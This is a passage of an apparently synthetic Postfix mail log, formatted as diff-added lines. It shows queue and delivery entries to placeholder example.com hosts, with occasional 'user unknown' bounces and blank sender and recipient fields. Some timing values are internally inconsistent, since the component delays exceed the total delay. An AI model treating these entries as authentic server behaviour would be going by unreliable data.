size=4708, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <7610607485@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.76, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <3229197569@mail.example.com>: from=, size=6420, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <3229197569@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.69, delays=0.39/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <9919629275@mail.example.com>: from=, size=7890, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <9919629275@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.78, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <6145449271@mail.example.com>: from=, size=5611, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <6145449271@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.62, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <9728484441@mail.example.com>: from=, size=7930, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <9728484441@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.10, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <5827099155@mail.example.com>: from=, size=1100, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <5827099155@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.62, delays=0.36/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <1886036495@mail.example.com>: from=, size=8007, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <1886036495@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.36, delays=0.02/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/smtp[5679]: <1886036495@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=0.55, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:03:40 mailserver postfix/qmgr[1234]: <2243526431@mail.example.com>: from=, size=6705, nrcpt=1 (queue active) +Jul 02 12:03:40 mailserver postfix/smtp[5678]: <2243526431@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.86, delays=0.23/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:40 mailserver postfix/qmgr[1234]: <1820724185@mail.example.com>: from=, size=2852, nrcpt=1 (queue active) +Jul 02 12:03:40 mailserver postfix/smtp[5678]: <1820724185@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.82, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:40 mailserver postfix/qmgr[1234]: <3625293239@mail.example.com>: from=, size=4813, nrcpt=1 (queue active) +Jul 02 12:03:40 mailserver postfix/smtp[5678]: <3625293239@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.68, delays=0.12/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:40 mailserver postfix/qmgr[1234]: <1841308445@mail.example.com>: from=, size=7033, nrcpt=1 (queue active) +Jul 02 12:03:40 mailserver postfix/smtp[5678]: <1841308445@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.48, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:40 mailserver postfix/qmgr[1234]: <7653708049@mail.example.com>: from=, size=6948, nrcpt=1 (queue active) +Jul 02 12:03:40 mailserver postfix/smtp[5678]: <7653708049@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.37, delays=0.25/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <6278961234@mail.example.com>: from=, size=1907, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <6278961234@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.06, delays=0.05/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <4785848673@mail.example.com>: from=, size=2502, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <4785848673@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.15, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <7151605780@mail.example.com>: from=, size=3619, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <7151605780@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.52, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <7296113635@mail.example.com>: from=, size=4090, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <7296113635@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.22, delays=0.28/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <3348272704@mail.example.com>: from=, size=8186, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <3348272704@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.90, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <6874312973@mail.example.com>: from=, size=5902, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <6874312973@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.47, delays=0.39/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <5336875695@mail.example.com>: from=, size=7483, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <5336875695@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.73, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <6853444946@mail.example.com>: from=, size=7042, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <6853444946@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.89, delays=0.03/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <8508372009@mail.example.com>: from=, size=7181, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <8508372009@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.46, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <6689943012@mail.example.com>: from=, size=5832, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <6689943012@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.51, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <8936854996@mail.example.com>: from=, size=3885, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <8936854996@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.28, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <5955053599@mail.example.com>: from=, size=4600, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <5955053599@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.60, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <7723330805@mail.example.com>: from=, size=5854, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <7723330805@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.18, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mailserver postfix/qmgr[1234]: <4581443200@mail.example.com>: from=, size=1334, nrcpt=1 (queue active) +Jul 02 12:03:45 mailserver postfix/smtp[5678]: <4581443200@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.14, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <6387959552@mail.example.com>: from=, size=2247, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <6387959552@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.46, delays=0.12/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <7927112814@mail.example.com>: from=, size=3108, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <7927112814@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.87, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <1076654440@mail.example.com>: from=, size=2730, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <1076654440@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.62, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <9212473484@mail.example.com>: from=, size=3014, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <9212473484@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.48, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <9718030461@mail.example.com>: from=, size=6350, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <9718030461@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.38, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <5936644927@mail.example.com>: from=, size=4605, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <5936644927@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.85, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <4088930699@mail.example.com>: from=, size=7149, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <4088930699@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.69, delays=0.28/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <6013807322@mail.example.com>: from=, size=1542, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <6013807322@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.60, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <5504128102@mail.example.com>: from=, size=7537, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <5504128102@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.59, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <4382830638@mail.example.com>: from=, size=5383, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <4382830638@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.82, delays=0.40/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mailserver postfix/qmgr[1234]: <9357614035@mail.example.com>: from=, size=5347, nrcpt=1 (queue active) +Jul 02 12:03:50 mailserver postfix/smtp[5678]: <9357614035@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.25, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:55 mailserver postfix/qmgr[1234]: <1237090494@mail.example.com>: from=, size=6076, nrcpt=1 (queue active) +Jul 02 12:03:55 mailserver postfix/smtp[5678]: <1237090494@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.11, delays=0.20/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:55 mailserver postfix/qmgr[1234]: <8524537633@mail.example.com>: from=, size=1950, nrcpt=1 (queue active) +Jul 02 12:03:55 mailserver postfix/smtp[5678]: <8524537633@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.31, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:55 mailserver postfix/qmgr[1234]: <4981099780@mail.example.com>: from=, size=4092, nrcpt=1 (queue active) +Jul 02 12:03:55 mailserver postfix/smtp[5678]: <4981099780@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.69, delays=0.29/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:55 mailserver postfix/qmgr[1234]: <7059520241@mail.example.com>: from=, size=4736, nrcpt=1 (queue active) +Jul 02 12:03:55 mailserver postfix/smtp[5678]: <7059520241@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.49, delays=0.16/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:55 mailserver postfix/qmgr[1234]: <2058571914@mail.example.com>: from=, size=1070, nrcpt=1 (queue active) +Jul 02 12:03:55 mailserver postfix/smtp[5678]: <2058571914@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.26, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:55 mailserver postfix/qmgr[1234]: <3824971771@mail.example.com>: from=, size=8007, nrcpt=1 (queue active) +Jul 02 12:03:55 mailserver postfix/smtp[5678]: <3824971771@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.45, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <5463409354@mail.example.com>: from=, size=1533, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <5463409354@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.52, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <4712935967@mail.example.com>: from=, size=5330, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <4712935967@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.44, delays=0.40/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <2392061896@mail.example.com>: from=, size=4024, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <2392061896@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.08, delays=0.39/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <1638510003@mail.example.com>: from=, size=4111, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <1638510003@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.13, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <3025262775@mail.example.com>: from=, size=5571, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <3025262775@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.07, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <3679074277@mail.example.com>: from=, size=4320, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <3679074277@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.31, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <7776219594@mail.example.com>: from=, size=6175, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <7776219594@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.85, delays=0.34/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <4585864673@mail.example.com>: from=, size=6145, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <4585864673@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.44, delays=0.39/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <1287639655@mail.example.com>: from=, size=2616, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <1287639655@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.39, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <7094825535@mail.example.com>: from=, size=6114, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <7094825535@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.93, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <2027755387@mail.example.com>: from=, size=7756, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <2027755387@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.25, delays=0.36/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <9613081550@mail.example.com>: from=, size=2648, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <9613081550@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.87, delays=0.48/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <8822609361@mail.example.com>: from=, size=4531, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <8822609361@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.91, delays=0.49/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/qmgr[1234]: <1034278343@mail.example.com>: from=, size=2136, nrcpt=1 (queue active) +Jul 02 12:04:00 mailserver postfix/smtp[5678]: <1034278343@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.11, delays=0.29/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mailserver postfix/smtp[5679]: <1034278343@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=0.75, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:04:05 mailserver postfix/qmgr[1234]: <4475602880@mail.example.com>: from=, size=5055, nrcpt=1 (queue active) +Jul 02 12:04:05 mailserver postfix/smtp[5678]: <4475602880@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.43, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:05 mailserver postfix/qmgr[1234]: <9669932775@mail.example.com>: from=, size=6015, nrcpt=1 (queue active) +Jul 02 12:04:05 mailserver postfix/smtp[5678]: <9669932775@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.20, delays=0.34/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:05 mailserver postfix/qmgr[1234]: <2093095132@mail.example.com>: from=, size=7143, nrcpt=1 (queue active) +Jul 02 12:04:05 mailserver postfix/smtp[5678]: <2093095132@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.41, delays=0.48/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:05 mailserver postfix/qmgr[1234]: <8815624117@mail.example.com>: from=, size=4889, nrcpt=1 (queue active) +Jul 02 12:04:05 mailserver postfix/smtp[5678]: <8815624117@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.91, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:05 mailserver postfix/qmgr[1234]: <6489764677@mail.example.com>: from=, size=7066, nrcpt=1 (queue active) +Jul 02 12:04:05 mailserver postfix/smtp[5678]: <6489764677@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.17, delays=0.29/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:05 mailserver postfix/qmgr[1234]: <3216425622@mail.example.com>: from=, size=2313, nrcpt=1 (queue active) +Jul 02 12:04:05 mailserver postfix/smtp[5678]: <3216425622@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.47, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:05 mailserver postfix/smtp[5679]: <3216425622@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=0.71, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:04:10 mailserver postfix/qmgr[1234]: <8384831841@mail.example.com>: from=, size=7059, nrcpt=1 (queue active) +Jul 02 12:04:10 mailserver postfix/smtp[5678]: <8384831841@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.41, delays=0.16/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:10 mailserver postfix/qmgr[1234]: <7919858692@mail.example.com>: from=, size=7227, nrcpt=1 (queue active) +Jul 02 12:04:10 mailserver postfix/smtp[5678]: <7919858692@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.29, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:10 mailserver postfix/qmgr[1234]: <2568547933@mail.example.com>: from=, size=5311, nrcpt=1 (queue active) +Jul 02 12:04:10 mailserver postfix/smtp[5678]: <2568547933@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.16, delays=0.43/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:10 mailserver postfix/qmgr[1234]: <2375694500@mail.example.com>: from=, size=3766, nrcpt=1 (queue active) +Jul 02 12:04:10 mailserver postfix/smtp[5678]: <2375694500@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.93, delays=0.33/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:10 mailserver postfix/qmgr[1234]: <4674545815@mail.example.com>: from=, size=6584, nrcpt=1 (queue active) +Jul 02 12:04:10 mailserver postfix/smtp[5678]: <4674545815@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.84, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:10 mailserver postfix/qmgr[1234]: <9984207092@mail.example.com>: from=, size=2522, nrcpt=1 (queue active) +Jul 02 12:04:10 mailserver postfix/smtp[5678]: <9984207092@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.95, delays=0.40/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:10 mailserver postfix/qmgr[1234]: <1128853714@mail.example.com>: from=, size=5542, nrcpt=1 (queue active) +Jul 02 12:04:10 mailserver postfix/smtp[5678]: <1128853714@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.89, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:15 mailserver postfix/qmgr[1234]: <8251445085@mail.example.com>: from=, size=6953, nrcpt=1 (queue active) +Jul 02 12:04:15 mailserver postfix/smtp[5678]: <8251445085@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.96, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:15 mailserver postfix/qmgr[1234]: <2753432643@mail.example.com>: from=, size=6747, nrcpt=1 (queue active) +Jul 02 12:04:15 mailserver postfix/smtp[5678]: <2753432643@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.02, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:15 mailserver postfix/qmgr[1234]: <3237937863@mail.example.com>: from=, size=6572, nrcpt=1 (queue active) +Jul 02 12:04:15 mailserver postfix/smtp[5678]: <3237937863@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.35, delays=0.48/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:15 mailserver postfix/qmgr[1234]: <2991892601@mail.example.com>: from=, size=4199, nrcpt=1 (queue active) +Jul 02 12:04:15 mailserver postfix/smtp[5678]: <2991892601@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.51, delays=0.33/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:15 mailserver postfix/qmgr[1234]: <8265827489@mail.example.com>: from=, size=8164, nrcpt=1 (queue active) +Jul 02 12:04:15 mailserver postfix/smtp[5678]: <8265827489@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.38, delays=0.48/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:15 mailserver postfix/qmgr[1234]: <6450478759@mail.example.com>: from=, size=4207, nrcpt=1 (queue active) +Jul 02 12:04:15 mailserver postfix/smtp[5678]: <6450478759@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.11, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:15 mailserver postfix/qmgr[1234]: <8019345072@mail.example.com>: from=, size=7620, nrcpt=1 (queue active) +Jul 02 12:04:15 mailserver postfix/smtp[5678]: <8019345072@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.96, delays=0.16/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:15 mailserver postfix/qmgr[1234]: <6424149029@mail.example.com>: from=, size=1703, nrcpt=1 (queue active) +Jul 02 12:04:15 mailserver postfix/smtp[5678]: <6424149029@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.60, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <1447314306@mail.example.com>: from=, size=1946, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <1447314306@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.75, delays=0.12/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <8833001432@mail.example.com>: from=, size=4674, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <8833001432@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.46, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <1367614991@mail.example.com>: from=, size=7965, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <1367614991@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.26, delays=0.20/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <2529031276@mail.example.com>: from=, size=5771, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <2529031276@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.20, delays=0.07/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver 